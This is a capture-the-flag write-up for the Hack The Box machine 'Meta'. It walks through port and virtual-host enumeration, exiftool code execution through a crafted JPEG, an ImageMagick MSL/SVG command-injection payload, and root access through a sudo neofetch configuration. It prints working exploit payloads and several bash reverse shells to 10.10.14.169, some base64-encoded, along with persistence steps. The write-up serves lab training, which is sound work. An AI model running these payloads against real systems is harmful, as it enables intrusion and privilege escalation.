Meta

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.140 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.140.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
It looks like there is an Apache webserver running on port 80. Attempting to visit the website redirects us to http://artcorp.htb, so let's add that to /etc/hosts: echo "10.10.11.140 artcorp.htb" | sudo tee -a /etc/hosts.
Scan for UDP services with sudo nmap -p- -sU -r -T5 10.10.11.140 -v (-r specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.). This finds nothing.

Virtual Host Scanning

Let's scan for virtual hosts (subdomains) with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -fc 301:
dev01 [Status: 200, Size: 247, Words: 16, Lines: 10]
Let's add the new dev01 subdomain to /etc/hosts: echo "10.10.11.140 dev01.artcorp.htb" | sudo tee -a /etc/hosts.

Apache (Port 80)

The website running on port 80 is very bare bone and the only significant information is this: "We are almost ready to launch our new product "MetaView". / The product is already in testing phase. / Stay tuned!"

dev01 Virtual Host

Navigating to http://dev01.artcorp.htb/ shows a page with a link to http://dev01.artcorp.htb/metaview/.
Navigating to the /metaview page shows an image upload. Uploading a non-image file produces this message: "File not allowed (only jpg/png)."
Uploading a random .jpg image displays the following:
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 640
Image Height : 640
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
This looks exactly like the output from exiftool. Running exiftool ./path/to/image.jpg produces:
ExifTool Version Number : 12.40
File Name : image.jpg
Directory : Downloads
File Size : 41 KiB
File Modification Date/Time : 2022:02:26 18:56:18-05:00
File Access Date/Time : 2022:02:26 18:56:21-05:00
File Inode Change Date/Time : 2022:02:26 18:56:18-05:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 640
Image Height : 640
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 640x640
Megapixels : 0.410
Sure enough the outputs look similar, but not identical.
Searching for "exiftool rce" online finds the following:
"Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file."
"ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for arbitrary code execution when parsing malicious images."

Foothold

We will use the OneSecCyber/JPEG_RCE GitHub repo to exploit this vulnerability.
Let's follow the commands in the repo to create the malicious image:
git clone https://github.com/OneSecCyber/JPEG_RCE.git
cd JPEG_RCE
exiftool -config eval.config runme.jpg -eval='system("ls -la")'
Uploading the newly created runme.jpg image to the dev01 subdomain produces the following output:
total 36
drwxr-xr-x 7 root www-data 4096 Aug 28 08:43 .
drwxr-xr-x 4 root root 4096 Oct 18 14:27 ..
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 assets
-rw-r--r-- 1 root www-data 72 Aug 28 08:39 composer.json
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 css
-rw-r--r-- 1 root www-data 2786 Aug 29 12:15 index.php
drwxr-xr-x 2 root www-data 4096 Aug 28 08:39 lib
drwxrwxr-x 2 root www-data 4096 Feb 26 19:10 uploads
drwxr-xr-x 3 root www-data 4096 Aug 28 08:39 vendor
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Y Cb Cr Positioning : Centered
Copyright : 0
Image Width : 245
Image Height : 368
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
So, we have arbitrary command execution. Now, let's use a reverse shell payload instead. We will use the following reverse shell: bash -i >& /dev/tcp/10.10.14.169/52427 0>&1. We encode this to base64 to remove illegal characters with echo -n "bash -i >& /dev/tcp/10.10.14.169/52427 0>&1" | base64 to get YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ==. So, start a listener with pwncat or netcat with nc -nvlp 52427. Then, create the malicious image with exiftool -config eval.config runme.jpg -eval='system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash")'.
Uploading this malicious file to the website get us a reverse shell as user www-data.

Lateral Movement

The user with id 1000 is thomas. We can view his home directory with ls -la /home/thomas/ to see the user.txt flag.
We upload LinPEAS and run it, but there is nothing obvious in the output. However, it is cool to see the number of nested processes we made in order to get a foothold on the box:
www-data 7965 0.0 0.6 197424 13964 ? S 18:45 0:00 _ /usr/sbin/apache2 -k start
www-data 8613 0.0 0.0 2388 696 ? S 19:21 0:00 | _ sh -c exiftool '/var/www/dev01.artcorp.htb/metaview/uploads/phpztsAFU.jpg' --system:all --exiftool:all -e
www-data 8614 0.0 0.8 20480 17448 ? S 19:21 0:00 | _ /usr/bin/perl -w /usr/local/bin/exiftool /var/www/dev01.artcorp.htb/metaview/uploads/phpztsAFU.jpg --system:all --exiftool:all -e
www-data 8615 0.0 0.0 2388 692 ? S 19:21 0:00 | _ sh -c echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash
www-data 8618 0.0 0.1 3736 2800 ? S 19:21 0:00 | _ bash
www-data 8619 0.0 0.1 4000 3324 ? S 19:21 0:00 | _ bash -i
www-data 8639 0.0 0.0 2592 1848 ? S 19:21 0:00 | _ /usr/bin/script -qc /usr/bin/bash /dev/null
www-data 8640 0.0 0.0 2388 756 pts/11 Ss 19:21 0:00 | _ sh -c /usr/bin/bash
www-data 8642 0.0 0.1 4000 3188 pts/11 S 19:21 0:00 | _ /usr/bin/bash
www-data 8762 1.8 0.2 5752 5168 pts/11 S+ 19:24 0:00 | _ bash linpeas.sh
www-data 11484 0.0 0.1 5752 3844 pts/11 S+ 19:24 0:00 | _ bash linpeas.sh
www-data 11488 0.0 0.1 7960 3064 pts/11 R+ 19:24 0:00 | | _ ps fauxwww
www-data 11487 0.0 0.1 5752 2380 pts/11 S+ 19:24 0:00 | _ bash linpeas.sh
Uploading and running pspy reveals that the following are run every minute:
2022/02/26 19:32:01 CMD: UID=1000 PID=21226 |
2022/02/26 19:32:01 CMD: UID=0 PID=21225 | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0 PID=21224 | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/02/26 19:32:01 CMD: UID=0 PID=21223 | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0 PID=21222 | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=0 PID=21221 | /usr/sbin/CRON -f
2022/02/26 19:32:01 CMD: UID=1000 PID=21228 | /bin/bash /usr/local/bin/convert_images.sh
2022/02/26 19:32:01 CMD: UID=0 PID=21227 | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/02/26 19:32:01 CMD: UID=1000 PID=21229 | /usr/local/bin/mogrify -format png *.*
2022/02/26 19:32:01 CMD: UID=1000 PID=21230 | /bin/bash /usr/local/bin/convert_images.sh
Let's check out the /usr/local/bin/convert_images.sh script.
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
The script uses pkill without an absolute path so if we had write permissions to somewhere on the global PATH variable we could replace that command with our own script, but we do not have these write permissions.
Running mogrify produces a long help output with the version string at the top: Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org. Searching online for "imagemagick 7.0.10-36 exploit" finds this page at the top of the results, which discusses CVE-2020-29599: "A flaw was found in ImageMagick. The -authenticate option is mishandled allowing user-controlled password set for a PDF file to possibly inject additional shell commands via coders/pdf.c. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability." This vulnerability works for "ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40." We are running version 7.0.10-36, which is before 7.0.10-40, so this exploit should work.
Searching for "imagemagick XML injection," which is what this vulnerability is, finds this news article on PortSwigger and this blog post by the person who found the vulnerability. Additionally, searching for "CVE-2020-29599" on GitHub finds coco0x0a/CVE-2020-29599.
There is a proof of concept image on the vulnerability finder's website:
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
Let's change this slightly so that the 0wned file gets placed in a known location:
<image authenticate='ff" `echo $(id)> /tmp/0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
Let's create a file called poc.svg with this text using nano (or any text editor). Now, we can upload this image to /var/www/dev01.artcorp.htb/convert_images/ with pwncat's upload command. Now, we just need to wait at most a minute for the cron job to run. For whatever reason, this does not work. However, changing the directory where the file is written to /dev/shm/ causes the file to be written. We can find world writeable directories with find / -maxdepth 3 -type d -perm -777. So, the working exploit is:
<image authenticate='ff" `echo $(id)> /dev/shm/0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
This creates the file /dev/shm/0wned (once the cron job runs() with the following output: uid=1000(thomas) gid=1000(thomas) groups=1000(thomas),27(sudo). So, we have command execution. We can set the command to a reverse shell such as bash -i >& /dev/tcp/10.10.14.169/37580 0>&1 and start a listener on port 37580 (pwncat-cs -lp 37580).
We upload this svg to /var/www/dev01.artcorp.htb/convert_images:
<image authenticate='ff" `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvMzc1ODAgMD4mMQ== | base64 -d | bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
Sure enough, after waiting about 20 seconds, we get a reverse shell as thomas.
We can now get the user.txt flag with cat ~/user.txt.

Privilege Escalation

First, we can get persistance using pwncat by running run implant.authorized_key key=/home/kali/.ssh/id_rsa in the local shell. I set the permissions of the .ssh folder to be what they should be with cd && chmod 700 .ssh && chmod 600 .ssh/authorized_keys. Now we can connect with pwncat-cs [email protected] --identity /home/kali/.ssh/id_rsa over SSH.
Looking at /tmp when logged in as thomas shows different files than when logged in as www-data, which is why writing the file to /tmp didn't working during the lateral movement phase. Apparently, each user has their own /tmp directory.
We run sudo -l to see what we can do as the root user since we saw that the user thomas was in the sudo group earlier (or just run groups).
sudo -l outputs:
User thomas may run the following commands on meta:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/neofetch \"\"
So, we can run the neofetch command as root. When we ran pspy earlier I noticed something involving neofetch run so this is not a surprise. Additionally, there is a /home/thomas/neofetch/config.conf file with a lot of options. However, the actual neofetch configuration file is located at /home/thomas/.config/neofetch/config.conf.
neofetch is listed on GTFOBins. However, trying to run sudo neofetch --ascii /root/root.txt to get the root.txt flag asks for thomas's password, which we don't have. So, we can't specify options on the neofetch binary.
Checking pspy again we see that /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf is executed as root about every minute. So the config file is overwritten every minute or so.
We can edit the neofetch config file at /home/thomas/.config/neofetch/config.conf and add prin "Test" "$(echo test)" under the print_info() function heading. Running neofetch again will show Test: test in the output. Thus, we have command execution, but running sudo neofetch runs neofetch as root which means it won't use the configuration file located /home/thomas/.config.
According to the documentation for neofetch, "the per-user location for neofetch's config is ${HOME}/.config/neofetch/config.conf"
Searching for "change linux hidden directory config location" finds this linux StackExchange answer, which mentions the XDG Base Directory Specification and this StackOverflow answer. According to the StackOverflow answer, we can set the XDG_CONFIG_HOME environment variable to where user-specific configuration files are stored, which defaults to "$HOME/.config".
So, we run export XDG_CONFIG_HOME=/home/thomas/.config to set the the XDG_CONFIG_HOME to thomas's home directory explicitly instead "$HOME/.config". Now, we nano /home/thomas/.config/neofetch/config.conf and add prin "Test" "$(cat /root/root.txt)" under the print_info() function heading. Now, when we run sudo neofetch, we see Test: [/root/root.txt] here.
We could now get a root shell using a reverse shell instead of cat /root/root.txt in the neofetch configuration file or we could copy root's private ssh key.
Copy link
Edit on GitHub
On this page
Enumeration
Nmap
Virtual Host Scanning
Apache (Port 80)
dev01 Virtual Host
Foothold
Lateral Movement
Privilege Escalation